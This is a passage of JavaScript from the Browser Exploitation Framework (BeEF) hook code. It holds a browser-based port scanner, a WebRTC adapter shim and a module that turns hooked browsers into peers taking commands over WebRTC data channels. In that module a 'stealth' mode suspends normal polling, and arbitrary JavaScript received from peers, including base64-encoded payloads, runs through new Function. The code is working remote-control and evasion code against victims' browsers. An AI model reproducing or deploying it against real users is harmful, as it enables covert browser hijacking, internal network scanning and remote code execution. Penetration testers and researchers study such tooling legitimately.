9804
9805 img.onload = img.onerror;
9806
9807 img.src = 'http://' + target + ':' + port;
9808
9809 setTimeout(function () {
9810 if (!img) return;
9811 img = undefined;
9812 callback(target, port, 'closed');
9813 }, timeout);
9814
9815 },
9816
9817 scanTarget: function(callback, target, ports_str, timeout)
9818 {
9819 var ports = ports_str.split(",");
9820
9821 for (index = 0; index < ports.length; index++) {
9822 this.scanPort(callback, target, ports[index], timeout);
9823 };
9824
9825 }
9826};
9827
9828beef.regCmp('beef.net.portscanner');
9829
9830
9831
9832//
9833// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
9834// Browser Exploitation Framework (BeEF) - http://beefproject.com
9835// See the file 'doc/COPYING' for copying permission
9836//
9837
9838beef.are = {
9839 status_success: function(){
9840 return 1;
9841 },
9842 status_unknown: function(){
9843 return 0;
9844 },
9845 status_error: function(){
9846 return -1;
9847 }
9848};
9849beef.regCmp("beef.are");
9850
9851
9852/*
9853 * Copyright (c) 2014 The WebRTC project authors. All Rights Reserved.
9854 *
9855 * Use of this source code is governed by a BSD-style license
9856 * that can be found in the LICENSE file in the root of the source
9857 * tree.
9858 */
9859
9860/* More information about these options at jshint.com/docs/options */
9861/* jshint browser: true, camelcase: true, curly: true, devel: true,
9862 eqeqeq: true, forin: false, globalstrict: true, node: true,
9863 quotmark: single, undef: true, unused: strict */
9864/* global mozRTCIceCandidate, mozRTCPeerConnection, Promise,
9865mozRTCSessionDescription, webkitRTCPeerConnection, MediaStreamTrack */
9866/* exported trace,requestUserMedia */
9867
9868'use strict';
9869
9870var getUserMedia = null;
9871var attachMediaStream = null;
9872var reattachMediaStream = null;
9873var webrtcDetectedBrowser = null;
9874var webrtcDetectedVersion = null;
9875var webrtcMinimumVersion = null;
9876
9877function trace(text) {
9878 // This function is used for logging.
9879 if (text[text.length - 1] === '\n') {
9880 text = text.substring(0, text.length - 1);
9881 }
9882 if (window.performance) {
9883 var now = (window.performance.now() / 1000).toFixed(3);
9884 beef.debug(now + ': ' + text);
9885 } else {
9886 beef.debug(text);
9887 }
9888}
9889
9890if (navigator.mozGetUserMedia) {
9891
9892 webrtcDetectedBrowser = 'firefox';
9893
9894 // the detected firefox version.
9895 webrtcDetectedVersion =
9896 parseInt(navigator.userAgent.match(/Firefox\/([0-9]+)\./)[1], 10);
9897
9898 // the minimum firefox version still supported by adapter.
9899 webrtcMinimumVersion = 31;
9900
9901 // The RTCPeerConnection object.
9902 window.RTCPeerConnection = function(pcConfig, pcConstraints) {
9903 if (webrtcDetectedVersion < 38) {
9904 // .urls is not supported in FF < 38.
9905 // create RTCIceServers with a single url.
9906 if (pcConfig && pcConfig.iceServers) {
9907 var newIceServers = [];
9908 for (var i = 0; i < pcConfig.iceServers.length; i++) {
9909 var server = pcConfig.iceServers[i];
9910 if (server.hasOwnProperty('urls')) {
9911 for (var j = 0; j < server.urls.length; j++) {
9912 var newServer = {
9913 url: server.urls[j]
9914 };
9915 if (server.urls[j].indexOf('turn') === 0) {
9916 newServer.username = server.username;
9917 newServer.credential = server.credential;
9918 }
9919 newIceServers.push(newServer);
9920 }
9921 } else {
9922 newIceServers.push(pcConfig.iceServers[i]);
9923 }
9924 }
9925 pcConfig.iceServers = newIceServers;
9926 }
9927 }
9928 return new mozRTCPeerConnection(pcConfig, pcConstraints);
9929 };
9930
9931 try {
9932 // The RTCSessionDescription object.
9933 window.RTCSessionDescription = mozRTCSessionDescription;
9934
9935 // The RTCIceCandidate object.
9936 window.RTCIceCandidate = mozRTCIceCandidate;
9937
9938 }catch(err) {
9939
9940 }
9941
9942 // getUserMedia constraints shim.
9943 getUserMedia = (webrtcDetectedVersion < 38) ?
9944 function(c, onSuccess, onError) {
9945 var constraintsToFF37 = function(c) {
9946 if (typeof c !== 'object' || c.require) {
9947 return c;
9948 }
9949 var require = [];
9950 Object.keys(c).forEach(function(key) {
9951 var r = c[key] = (typeof c[key] === 'object') ?
9952 c[key] : {ideal: c[key]};
9953 if (r.exact !== undefined) {
9954 r.min = r.max = r.exact;
9955 delete r.exact;
9956 }
9957 if (r.min !== undefined || r.max !== undefined) {
9958 require.push(key);
9959 }
9960 if (r.ideal !== undefined) {
9961 c.advanced = c.advanced || [];
9962 var oc = {};
9963 oc[key] = {min: r.ideal, max: r.ideal};
9964 c.advanced.push(oc);
9965 delete r.ideal;
9966 if (!Object.keys(r).length) {
9967 delete c[key];
9968 }
9969 }
9970 });
9971 if (require.length) {
9972 c.require = require;
9973 }
9974 return c;
9975 };
9976 beef.debug('spec: ' + JSON.stringify(c));
9977 c.audio = constraintsToFF37(c.audio);
9978 c.video = constraintsToFF37(c.video);
9979 beef.debug('ff37: ' + JSON.stringify(c));
9980 return navigator.mozGetUserMedia(c, onSuccess, onError);
9981 } : navigator.mozGetUserMedia.bind(navigator);
9982
9983 navigator.getUserMedia = getUserMedia;
9984
9985 // Shim for mediaDevices on older versions.
9986 if (!navigator.mediaDevices) {
9987 navigator.mediaDevices = {getUserMedia: requestUserMedia,
9988 addEventListener: function() { },
9989 removeEventListener: function() { }
9990 };
9991 }
9992 navigator.mediaDevices.enumerateDevices =
9993 navigator.mediaDevices.enumerateDevices || function() {
9994 return new Promise(function(resolve) {
9995 var infos = [
9996 {kind: 'audioinput', deviceId: 'default', label:'', groupId:''},
9997 {kind: 'videoinput', deviceId: 'default', label:'', groupId:''}
9998 ];
9999 resolve(infos);
10000 });
10001 };
10002
10003 if (webrtcDetectedVersion < 41) {
10004 // Work around http://bugzil.la/1169665
10005 var orgEnumerateDevices =
10006 navigator.mediaDevices.enumerateDevices.bind(navigator.mediaDevices);
10007 navigator.mediaDevices.enumerateDevices = function() {
10008 return orgEnumerateDevices().then(undefined, function(e) {
10009 if (e.name === 'NotFoundError') {
10010 return [];
10011 }
10012 throw e;
10013 });
10014 };
10015 }
10016 // Attach a media stream to an element.
10017 attachMediaStream = function(element, stream) {
10018 beef.debug('Attaching media stream');
10019 element.mozSrcObject = stream;
10020 };
10021
10022 reattachMediaStream = function(to, from) {
10023 beef.debug('Reattaching media stream');
10024 to.mozSrcObject = from.mozSrcObject;
10025 };
10026
10027} else if (navigator.webkitGetUserMedia) {
10028
10029 webrtcDetectedBrowser = 'chrome';
10030
10031 // the detected chrome version.
10032 webrtcDetectedVersion =
10033 parseInt(navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./)[2], 10);
10034
10035 // the minimum chrome version still supported by adapter.
10036 webrtcMinimumVersion = 38;
10037
10038 // The RTCPeerConnection object.
10039 window.RTCPeerConnection = function(pcConfig, pcConstraints) {
10040 var pc = new webkitRTCPeerConnection(pcConfig, pcConstraints);
10041 var origGetStats = pc.getStats.bind(pc);
10042 pc.getStats = function(selector, successCallback, errorCallback) { // jshint ignore: line
10043 // If selector is a function then we are in the old style stats so just
10044 // pass back the original getStats format to avoid breaking old users.
10045 if (typeof selector === 'function') {
10046 return origGetStats(selector, successCallback);
10047 }
10048
10049 var fixChromeStats = function(response) {
10050 var standardReport = {};
10051 var reports = response.result();
10052 reports.forEach(function(report) {
10053 var standardStats = {
10054 id: report.id,
10055 timestamp: report.timestamp,
10056 type: report.type
10057 };
10058 report.names().forEach(function(name) {
10059 standardStats[name] = report.stat(name);
10060 });
10061 standardReport[standardStats.id] = standardStats;
10062 });
10063
10064 return standardReport;
10065 };
10066 var successCallbackWrapper = function(response) {
10067 successCallback(fixChromeStats(response));
10068 };
10069 return origGetStats(successCallbackWrapper, selector);
10070 };
10071
10072 return pc;
10073 };
10074
10075 // add promise support
10076 ['createOffer', 'createAnswer'].forEach(function(method) {
10077 var nativeMethod = webkitRTCPeerConnection.prototype[method];
10078 webkitRTCPeerConnection.prototype[method] = function() {
10079 var self = this;
10080 if (arguments.length < 1 || (arguments.length === 1 &&
10081 typeof(arguments[0]) === 'object')) {
10082 var opts = arguments.length === 1 ? arguments[0] : undefined;
10083 return new Promise(function(resolve, reject) {
10084 nativeMethod.apply(self, [resolve, reject, opts]);
10085 });
10086 } else {
10087 return nativeMethod.apply(this, arguments);
10088 }
10089 };
10090 });
10091
10092 ['setLocalDescription', 'setRemoteDescription',
10093 'addIceCandidate'].forEach(function(method) {
10094 var nativeMethod = webkitRTCPeerConnection.prototype[method];
10095 webkitRTCPeerConnection.prototype[method] = function() {
10096 var args = arguments;
10097 var self = this;
10098 return new Promise(function(resolve, reject) {
10099 nativeMethod.apply(self, [args[0],
10100 function() {
10101 resolve();
10102 if (args.length >= 2) {
10103 args[1].apply(null, []);
10104 }
10105 },
10106 function(err) {
10107 reject(err);
10108 if (args.length >= 3) {
10109 args[2].apply(null, [err]);
10110 }
10111 }]
10112 );
10113 });
10114 };
10115 });
10116
10117 // getUserMedia constraints shim.
10118 getUserMedia = function(c, onSuccess, onError) {
10119 var constraintsToChrome = function(c) {
10120 if (typeof c !== 'object' || c.mandatory || c.optional) {
10121 return c;
10122 }
10123 var cc = {};
10124 Object.keys(c).forEach(function(key) {
10125 if (key === 'require' || key === 'advanced') {
10126 return;
10127 }
10128 var r = (typeof c[key] === 'object') ? c[key] : {ideal: c[key]};
10129 if (r.exact !== undefined && typeof r.exact === 'number') {
10130 r.min = r.max = r.exact;
10131 }
10132 var oldname = function(prefix, name) {
10133 if (prefix) {
10134 return prefix + name.charAt(0).toUpperCase() + name.slice(1);
10135 }
10136 return (name === 'deviceId') ? 'sourceId' : name;
10137 };
10138 if (r.ideal !== undefined) {
10139 cc.optional = cc.optional || [];
10140 var oc = {};
10141 if (typeof r.ideal === 'number') {
10142 oc[oldname('min', key)] = r.ideal;
10143 cc.optional.push(oc);
10144 oc = {};
10145 oc[oldname('max', key)] = r.ideal;
10146 cc.optional.push(oc);
10147 } else {
10148 oc[oldname('', key)] = r.ideal;
10149 cc.optional.push(oc);
10150 }
10151 }
10152 if (r.exact !== undefined && typeof r.exact !== 'number') {
10153 cc.mandatory = cc.mandatory || {};
10154 cc.mandatory[oldname('', key)] = r.exact;
10155 } else {
10156 ['min', 'max'].forEach(function(mix) {
10157 if (r[mix] !== undefined) {
10158 cc.mandatory = cc.mandatory || {};
10159 cc.mandatory[oldname(mix, key)] = r[mix];
10160 }
10161 });
10162 }
10163 });
10164 if (c.advanced) {
10165 cc.optional = (cc.optional || []).concat(c.advanced);
10166 }
10167 return cc;
10168 };
10169 beef.debug('spec: ' + JSON.stringify(c)); // whitespace for alignment
10170 c.audio = constraintsToChrome(c.audio);
10171 c.video = constraintsToChrome(c.video);
10172 beef.debug('chrome: ' + JSON.stringify(c));
10173 return navigator.webkitGetUserMedia(c, onSuccess, onError);
10174 };
10175 navigator.getUserMedia = getUserMedia;
10176
10177 // Attach a media stream to an element.
10178 attachMediaStream = function(element, stream) {
10179 if (typeof element.srcObject !== 'undefined') {
10180 element.srcObject = stream;
10181 } else if (typeof element.src !== 'undefined') {
10182 element.src = URL.createObjectURL(stream);
10183 } else {
10184 beef.debug('Error attaching stream to element.');
10185 }
10186 };
10187
10188 reattachMediaStream = function(to, from) {
10189 to.src = from.src;
10190 };
10191
10192 if (!navigator.mediaDevices) {
10193 navigator.mediaDevices = {getUserMedia: requestUserMedia,
10194 enumerateDevices: function() {
10195 return new Promise(function(resolve) {
10196 var kinds = {audio: 'audioinput', video: 'videoinput'};
10197 return MediaStreamTrack.getSources(function(devices) {
10198 resolve(devices.map(function(device) {
10199 return {label: device.label,
10200 kind: kinds[device.kind],
10201 deviceId: device.id,
10202 groupId: ''};
10203 }));
10204 });
10205 });
10206 }};
10207 // in case someone wants to listen for the devicechange event.
10208 navigator.mediaDevices.addEventListener = function() { };
10209 navigator.mediaDevices.removeEventListener = function() { };
10210 }
10211} else if (navigator.mediaDevices && navigator.userAgent.match(
10212 /Edge\/(\d+).(\d+)$/)) {
10213 webrtcDetectedBrowser = 'edge';
10214
10215 webrtcDetectedVersion =
10216 parseInt(navigator.userAgent.match(/Edge\/(\d+).(\d+)$/)[2], 10);
10217
10218 // the minimum version still supported by adapter.
10219 webrtcMinimumVersion = 12;
10220
10221 attachMediaStream = function(element, stream) {
10222 element.srcObject = stream;
10223 };
10224 reattachMediaStream = function(to, from) {
10225 to.srcObject = from.srcObject;
10226 };
10227} else {
10228 // console.log('Browser does not appear to be WebRTC-capable');
10229}
10230
10231// Returns the result of getUserMedia as a Promise.
10232function requestUserMedia(constraints) {
10233 return new Promise(function(resolve, reject) {
10234 getUserMedia(constraints, resolve, reject);
10235 });
10236}
10237
10238if (typeof module !== 'undefined') {
10239 module.exports = {
10240 RTCPeerConnection: window.RTCPeerConnection,
10241 getUserMedia: getUserMedia,
10242 attachMediaStream: attachMediaStream,
10243 reattachMediaStream: reattachMediaStream,
10244 webrtcDetectedBrowser: webrtcDetectedBrowser,
10245 webrtcDetectedVersion: webrtcDetectedVersion,
10246 webrtcMinimumVersion: webrtcMinimumVersion
10247 //requestUserMedia: not exposed on purpose.
10248 //trace: not exposed on purpose.
10249 };
10250} else if ((typeof require === 'function') && (typeof define === 'function')) {
10251 // Expose objects and functions when RequireJS is doing the loading.
10252 define([], function() {
10253 return {
10254 RTCPeerConnection: window.RTCPeerConnection,
10255 getUserMedia: getUserMedia,
10256 attachMediaStream: attachMediaStream,
10257 reattachMediaStream: reattachMediaStream,
10258 webrtcDetectedBrowser: webrtcDetectedBrowser,
10259 webrtcDetectedVersion: webrtcDetectedVersion,
10260 webrtcMinimumVersion: webrtcMinimumVersion
10261 //requestUserMedia: not exposed on purpose.
10262 //trace: not exposed on purpose.
10263 };
10264 });
10265}
10266
10267
10268//
10269// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
10270// Browser Exploitation Framework (BeEF) - http://beefproject.com
10271// See the file 'doc/COPYING' for copying permission
10272//
10273
10274
10275/**
10276 * @Literal object: beef.webrtc
10277 *
10278 * Manage the WebRTC peer to peer communication channels.
10279 * This objects contains all the necessary client-side WebRTC components,
10280 * allowing browsers to use WebRTC to communicate with each other.
10281 * To provide signaling, the WebRTC extension sets up custom listeners.
10282 * /rtcsignal - for sending RTC signalling information between peers
10283 * /rtcmessage - for client-side rtc messages to be submitted back into beef and logged.
10284 *
10285 * To ensure signaling gets back to the peers, the hook.js dynamic construction also includes
10286 * the signalling.
10287 *
10288 * This is all mostly a Proof of Concept
10289 */
10290
10291beefrtcs = {}; // To handle multiple peers - we need to have a hash of Beefwebrtc objects
10292 // The key is the peer id
10293globalrtc = {}; // To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects
10294 // these objects persist outside of everything else
10295 // The key is the peer id
10296rtcstealth = false; // stealth should only be initiated from one peer - this global variable will contain:
10297 // false - i.e not stealthed; or
10298 // <peerid> - i.e. the id of the browser which initiated stealth mode
10299rtcrecvchan = {}; // To handle multiple event channels - we need to have a global hash of these
10300 // The key is the peer id
10301
10302// Beefwebrtc object - wraps everything together for a peer connection
10303// One of these per peer connection, and will be stored in the beefrtc global hash
10304function Beefwebrtc(initiator,peer,turnjson,stunservers,verbparam) {
10305 this.verbose = typeof verbparam !== 'undefined' ? verbparam : false; // whether this object is verbose or not
10306 this.initiator = typeof initiator !== 'undefined' ? initiator : 0; // if 1 - this is the caller; if 0 - this is the receiver
10307 this.peerid = typeof peer !== 'undefined' ? peer : null; // id of this rtc peer
10308 this.turnjson = turnjson; // set of TURN servers in the format:
10309 // {"username": "<username", "password": "<password>", "uris": [
10310 // "turn:<ip>:<port>?transport=<udp/tcp>",
10311 // "turn:<ip>:<port>?transport=<udp/tcp>"]}
10312 this.started = false; // Has signaling / dialing started for this peer
10313 this.gotanswer = false; // For the caller - this determines whether they have received an SDP answer from the receiver
10314 this.turnDone = false; // does the pcConfig have TURN servers added to it?
10315 this.signalingReady = false; // the initiator (Caller) is always ready to signal. So this sets to true during init
10316 // the receiver will set this to true once it receives an SDP 'offer'
10317 this.msgQueue = []; // because the handling of SDP signals may happen in any order - we need a queue for them
10318 this.pcConfig = null; // We set this during init
10319 this.pcConstraints = {"optional": [{"googImprovedWifiBwe": true}]} // PeerConnection constraints
10320 this.offerConstraints = {"optional": [], "mandatory": {}}; // Default SDP Offer Constraints - used in the caller
10321 this.sdpConstraints = {'optional': [{'RtpDataChannels':true}]}; // Default SDP Constraints - used by caller and receiver
10322 this.gatheredIceCandidateTypes = { Local: {}, Remote: {} }; // ICE Candidates
10323 this.allgood = false; // Is this object / peer connection with the nominated peer ready to go?
10324 this.dataChannel = null; // The data channel used by this peer
10325 this.stunservers = stunservers; // set of STUN servers, in the format:
10326 // ["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"]
10327}
10328
10329// Initialize the object
10330Beefwebrtc.prototype.initialize = function() {
10331 if (this.peerid == null) {
10332 return 0; // no peerid - NO DICE
10333 }
10334
10335 // Initialise the pcConfig hash with the provided stunservers
10336 var stuns = JSON.parse(this.stunservers);
10337 this.pcConfig = {"iceServers": [{"urls":stuns, "username":"user",
10338 "credential":"pass"}]};
10339
10340 // We're not getting the browsers to request their own TURN servers, we're specifying them through BeEF
10341 // this.forceTurn(this.turnjson);
10342 this.turnDone = true;
10343
10344 // Caller is always ready to create peerConnection.
10345 this.signalingReady = this.initiator;
10346
10347 // Start .. maybe
10348 this.maybeStart();
10349
10350 // If the window is closed, send a signal to beef .. this is not all that great, so just commenting out
10351 // window.onbeforeunload = function() {
10352 // this.sendSignalMsg({type: 'bye'});
10353 // }
10354
10355 return 1; // because .. yeah .. we had a peerid - this is good yar.
10356}
10357
10358//Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive)
10359//These values are now simply passed in from the config.yaml for the webrtc extension
10360Beefwebrtc.prototype.forceTurn = function(jason) {
10361 var turnServer = JSON.parse(jason);
10362 var iceServers = createIceServers(turnServer.uris,
10363 turnServer.username,
10364 turnServer.password);
10365 if (iceServers !== null) {
10366 this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers);
10367 }
10368 beef.debug("Got TURN servers, will try and maybestart again..");
10369 this.turnDone = true;
10370 this.maybeStart();
10371}
10372
10373// Try and establish the RTC connection
10374Beefwebrtc.prototype.createPeerConnection = function() {
10375 beef.debug('Creating RTCPeerConnnection with the following options:\n' +
10376 ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
10377 ' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
10378 try {
10379 // Create an RTCPeerConnection via the polyfill (webrtcadapter.js).
10380 globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints);
10381 globalrtc[this.peerid].onicecandidate = this.onIceCandidate;
10382 beef.debug('Created RTCPeerConnnection with the following options:\n' +
10383 ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
10384 ' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
10385
10386 } catch (e) {
10387 beef.debug('Failed to create PeerConnection, exception: ');
10388 beef.debug(e);
10389 return;
10390 }
10391
10392 // Assign event handlers to signalstatechange, iceconnectionstatechange, datachannel etc
10393 globalrtc[this.peerid].onsignalingstatechange = this.onSignalingStateChanged;
10394 globalrtc[this.peerid].oniceconnectionstatechange = this.onIceConnectionStateChanged;
10395 globalrtc[this.peerid].ondatachannel = this.onDataChannel;
10396 this.dataChannel = globalrtc[this.peerid].createDataChannel("sendDataChannel", {reliable:false});
10397}
10398
10399// When the PeerConnection receives a new ICE Candidate
10400Beefwebrtc.prototype.onIceCandidate = function(event) {
10401 var peerid = null;
10402
10403 for (var k in beefrtcs) {
10404 if (beefrtcs[k].allgood === false) {
10405 peerid = beefrtcs[k].peerid;
10406 }
10407 }
10408
10409 beef.debug("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:");
10410 beef.debug(event);
10411
10412 if (event.candidate) {
10413 // Send the candidate to the peer via the BeEF signalling channel
10414 beefrtcs[peerid].sendSignalMsg({type: 'candidate',
10415 label: event.candidate.sdpMLineIndex,
10416 id: event.candidate.sdpMid,
10417 candidate: event.candidate.candidate});
10418 // Note this ICE candidate locally
10419 beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate));
10420 } else {
10421 beef.debug('End of candidates.');
10422 }
10423}
10424
10425// For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function
10426// This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage
10427// against the message directly
10428Beefwebrtc.prototype.processMessage = function(message) {
10429 beef.debug('Signalling Message - S->C: ' + JSON.stringify(message));
10430 var msg = JSON.parse(message);
10431
10432 if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP Offer
10433 beef.debug('processing the message, as a receiver');
10434 if (msg.type === 'offer') { // This IS an SDP Offer
10435 beef.debug('.. and the message is an offer .. ');
10436 this.msgQueue.unshift(msg); // put it on the top of the msgqueue
10437 this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true
10438 this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed
10439 } else { // This is NOT an SDP Offer - as the receiver, just add it to the queue
10440 beef.debug(' .. the message is NOT an offer .. ');
10441 this.msgQueue.push(msg);
10442 }
10443 } else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the SDP Answer
10444 beef.debug('processing the message, as the sender, no answers yet');
10445 if (msg.type === 'answer') { // This IS an SDP Answer
10446 beef.debug('.. and we have an answer ..');
10447 this.processSignalingMessage(msg); // Process the message directly
10448 this.gotanswer = true; // We have now received an answer
10449 //process all other queued message...
10450 while (this.msgQueue.length > 0) {
10451 this.processSignalingMessage(this.msgQueue.shift());
10452 }
10453 } else { // This is NOT an SDP Answer - as the caller, just add it to the queue
10454 beef.debug('.. not an answer ..');
10455 this.msgQueue.push(msg);
10456 }
10457 } else { // For all other messages just drop them in the queue
10458 beef.debug('processing a message, but, not as a receiver, OR, the rtc is already up');
10459 this.processSignalingMessage(msg);
10460 }
10461}
10462
10463// Send a signalling message ..
10464Beefwebrtc.prototype.sendSignalMsg = function(message) {
10465 var msgString = JSON.stringify(message);
10466 beef.debug('Signalling Message - C->S: ' + msgString);
10467 beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString});
10468}
10469
10470// Used to record ICS candidates locally
10471Beefwebrtc.prototype.noteIceCandidate = function(location, type) {
10472 if (this.gatheredIceCandidateTypes[location][type])
10473 return;
10474 this.gatheredIceCandidateTypes[location][type] = 1;
10475 // updateInfoDiv();
10476}
10477
10478// When the signalling state changes. We don't actually do anything with this except log it.
10479Beefwebrtc.prototype.onSignalingStateChanged = function(event) {
10480 beef.debug("Signalling has changed to: " + event.target.signalingState);
10481}
10482
10483// When the ICE Connection State changes - this is useful to determine connection statuses with peers.
10484Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) {
10485 var peerid = null;
10486
10487 for (k in globalrtc) {
10488 if ((globalrtc[k].localDescription.sdp === event.target.localDescription.sdp) && (globalrtc[k].localDescription.type === event.target.localDescription.type)) {
10489 peerid = k;
10490 }
10491 }
10492
10493 beef.debug("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);
10494
10495 // ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready! Although may still look for
10496 // better candidates or connections
10497 if (event.target.iceConnectionState === 'connected') {
10498 //Send status to peer
10499 window.setTimeout(function() {
10500 beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
10501 beefrtcs[peerid].allgood = true;
10502 },1000);
10503 }
10504
10505 // Completed is similar to connected. Except, each of the ICE components are good, and no more testing remote candidates is done.
10506 if (event.target.iceConnectionState === 'completed') {
10507 window.setTimeout(function() {
10508 beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
10509 beefrtcs[peerid].allgood = true;
10510 },1000);
10511 }
10512
10513 if ((rtcstealth == peerid) && (event.target.iceConnectionState === 'disconnected')) {
10514 //I was in stealth mode, talking back to this peer - but it's gone offline.. come out of stealth
10515 rtcstealth = false;
10516 beefrtcs[peerid].allgood = false;
10517 beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
10518 } else if ((rtcstealth == false) && (event.target.iceConnectionState === 'disconnected')) {
10519 //I was not in stealth, and this peer has gone offline - send a message
10520 beefrtcs[peerid].allgood = false;
10521 beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
10522 }
10523 // We don't handle situations where a stealthed peer loses a peer that is NOT the peer that made it go into stealth
10524 // This is possibly a bad idea - @xntrik
10525
10526
10527}
10528
10529// This is the function when a peer tells us to go into stealth by sending a dataChannel message of "!gostealth"
10530Beefwebrtc.prototype.goStealth = function() {
10531 //stop the beef updater
10532 rtcstealth = this.peerid; // this is a global variable
10533 beef.updater.lock = true;
10534 this.sendPeerMsg('Going into stealth mode');
10535
10536 setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
10537}
10538
10539// This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it
10540rtcpollPeer = function() {
10541 if (rtcstealth == false) {
10542 //my peer has disabled stealth mode
10543 beef.updater.lock = false;
10544 return;
10545 }
10546
10547 beef.debug('lub dub');
10548
10549 beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made us stealth
10550
10551 setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
10552}
10553
10554// When a data channel has been established - within here is the message handling function as well
10555Beefwebrtc.prototype.onDataChannel = function(event) {
10556 var peerid = null;
10557 for (k in globalrtc) {
10558 if ((globalrtc[k].localDescription.sdp === event.currentTarget.localDescription.sdp) && (globalrtc[k].localDescription.type === event.currentTarget.localDescription.type)) {
10559 peerid = k;
10560 }
10561 }
10562
10563 beef.debug("Peer: " + peerid + " has just handled the onDataChannel event");
10564 rtcrecvchan[peerid] = event.channel;
10565
10566 // This is the onmessage event handling within the datachannel
10567 rtcrecvchan[peerid].onmessage = function(ev2) {
10568 beef.debug("Received an RTC message from my peer["+peerid+"]: " + ev2.data);
10569
10570 // We've received the command to go into stealth mode
10571 if (ev2.data == "!gostealth") {
10572 if (beef.updater.lock == true) {
10573 setTimeout(function() {beefrtcs[peerid].goStealth()},beef.updater.xhr_poll_timeout * 0.4);
10574 } else {
10575 beefrtcs[peerid].goStealth();
10576 }
10577
10578 // The message to come out of stealth
10579 } else if (ev2.data == "!endstealth") {
10580
10581 if (rtcstealth != null) {
10582 beefrtcs[rtcstealth].sendPeerMsg("Coming out of stealth...");
10583 rtcstealth = false;
10584 }
10585
10586 // Command to perform arbitrary JS (while stealthed)
10587 } else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) {
10588 beef.debug('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');
10589 beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1)));
10590
10591 // Command to perform arbitrary JS (while NOT stealthed)
10592 } else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) {
10593 beef.debug('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));
10594 beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1)));
10595
10596 // B64d command from the /cmdexec API
10597 } else if (ev2.data.charAt(0) == "@") {
10598 beef.debug('message was a b64d command');
10599
10600 var fn = new Function(atob(ev2.data.substring(1)));
10601 fn();
10602 if (rtcstealth != false) { // force stealth back on ?
10603 beef.updater.execute_commands(); // FORCE execution while stealthed
10604 beef.updater.lock = true;
10605 }
10606
10607
10608 // Just a plain text message .. (while stealthed)
10609 } else if (rtcstealth != false) {
10610 beef.debug('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');
10611 beefrtcs[rtcstealth].sendPeerMsg(ev2.data);
10612
10613 // Just a plan text message (while NOT stealthed)
10614 } else {
10615 beef.debug('received a message from peer['+peerid+'] - sending it back to beef');
10616 beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data});
10617 }
10618 }
10619}
10620
10621// How the browser executes received JS (this is pretty hacky)
10622Beefwebrtc.prototype.execCmd = function(input) {
10623 var fn = new Function(input);
10624 var res = fn();
10625 return res.toString();
10626}
10627
10628// Shortcut function to SEND a data messsage
10629Beefwebrtc.prototype.sendPeerMsg = function(msg) {
10630 beef.debug('sendPeerMsg to ' + this.peerid);
10631 this.dataChannel.send(msg);
10632}
10633
10634// Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready
10635Beefwebrtc.prototype.maybeStart = function() {
10636 beef.debug("maybe starting ... ");
10637
10638 if (!this.started && this.signalingReady && this.turnDone) {
10639 beef.debug('Creating PeerConnection.');
10640 this.createPeerConnection();
10641
10642 this.started = true;
10643
10644 if (this.initiator) {
10645 beef.debug("Making the call now .. bzz bzz");
10646 this.doCall();
10647 } else {
10648 beef.debug("Receiving a call now .. somebuddy answer da fone?");
10649 this.calleeStart();
10650 }
10651
10652 } else {
10653 beef.debug("Not ready to start just yet..");
10654 }
10655}
10656
10657// RTC - create an offer - the caller runs this, while the receiver runs calleeStart()
10658Beefwebrtc.prototype.doCall = function() {
10659 var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints);
10660 var self = this;
10661 globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints);
10662 beef.debug('Sending offer to peer, with constraints: \n' +
10663 ' \'' + JSON.stringify(constraints) + '\'.');
10664}
10665
10666// Helper method to merge SDP constraints
10667Beefwebrtc.prototype.mergeConstraints = function(cons1, cons2) {
10668 var merged = cons1;
10669 for (var name in cons2.mandatory) {
10670 merged.mandatory[name] = cons2.mandatory[name];
10671 }
10672 merged.optional.concat(cons2.optional);
10673 return merged;
10674}
10675
10676// Sets the local RTC session description, sends this information back (via signalling)
